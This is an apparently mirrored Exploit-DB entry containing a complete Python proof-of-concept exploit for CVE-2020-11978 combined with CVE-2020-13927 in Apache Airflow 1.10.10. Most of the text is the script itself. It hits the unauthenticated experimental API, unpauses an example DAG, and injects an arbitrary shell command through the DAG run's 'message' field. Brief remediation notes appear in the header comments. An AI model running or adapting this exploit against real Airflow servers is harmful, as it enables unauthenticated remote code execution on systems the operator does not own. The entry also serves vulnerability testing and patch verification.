Apache Airflow 1.10.10 – ‘Example Dag’ Remote Code Execution

  • 作者: Pepe Berba
    日期: 2021-06-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49927/
  • # Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution 
    # Date: 2021-06-02
    # Exploit Author: Pepe Berba
    # Vendor Homepage: https://airflow.apache.org/
    # Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html
    # Version: <= 1.10.10
    # Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)
    # CVE : CVE-2020-11978
    # 
    # This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow
    # This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default.
    # Together, potentially allows unauthenticated RCE to Airflow 
    # 
    # Repo: https://github.com/pberba/CVE-2020-11978
    # More information can be found here:
    # https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E
    # https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
    #
    # Remediation:
    # For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set.
    # For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG.
    #
    # Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test"
    
    import argparse
    import requests
    import sys
    import time
    
    def create_dag(url, cmd):
    	print('[+] Checking if Airflow Experimental REST API is accessible...')
    	check = requests.get('{}/api/experimental/test'.format(url))
    
    	if check.status_code == 200:
    		print('[+] /api/experimental/test returned 200' )
    	else:
    		print('[!] /api/experimental/test returned {}'.format(check.status_code))
    		print('[!] Airflow Experimental REST API not be accessible')
    		sys.exit(1)
    
    	check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url))
    	if check_task.status_code != 200:
    		print('[!] Failed to find the example_trigger_target_dag.bash_task')
    		print('[!] Host isn\'t vunerable to CVE-2020-11978')
    		sys.exit(1)
    	elif 'dag_run' in check_task.json()['env']:
    		print('[!] example_trigger_target_dag.bash_task is patched')
    		print('[!] Host isn\'t vunerable to CVE-2020-11978')
    		sys.exit(1)
    	print('[+] example_trigger_target_dag.bash_task is vulnerable')
    
    	unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url))
    	if unpause.status_code != 200:
    		print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded')
    		sys.exit(1)
    	else:
    		print('[+] example_trigger_target_dag was enabled')
    
    	print('[+] Creating new DAG...')
    	res = requests.post(
    	'{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url),
    	json={
    	'conf': {
    	'message': '"; {} #'.format(cmd)
    	}
    	}
    	)
    
    	if res.status_code == 200:
    		print('[+] Successfully created DAG')
    		print('[+] "{}"'.format(res.json()['message']))
    	else:
    		print('[!] Failed to create DAG')
    		sys.exit(1)
    
    	wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format(
    		url = url,
    		execution_date=res.json()['execution_date']
    	)
    
    	start_time = time.time()
    	print('[.] Waiting for the scheduler to run the DAG... This might take a minute.')
    	print('[.] If the bash task is never queued, then the scheduler might not be running.')
    	while True:
    		time.sleep(10)
    		res = requests.get(wait_url)
    		status = res.json()['state']
    		if status == 'queued':
    			print('[.] Bash task queued...')
    		elif status == 'running':
    			print('[+] Bash task running...')
    		elif status == 'success':
    			print('[+] Bash task successfully ran')
    			break
    		elif status == 'None':
    			print('[-] Bash task is not yet queued...'.format(status))
    		else:
    			print('[!] Bash task was {}'.format(status))
    			sys.exit(1)
    
    	return 0
    
    
    def main():
    	arg_parser = argparse.ArgumentParser()
    	arg_parser.add_argument('url', type=str, help="Base URL for Airflow")
    	arg_parser.add_argument('command', type=str)
    	args = arg_parser.parse_args()
    
    	create_dag(
    		args.url, 
    		args.command
    	)
    
    if __name__ == '__main__':
    	main()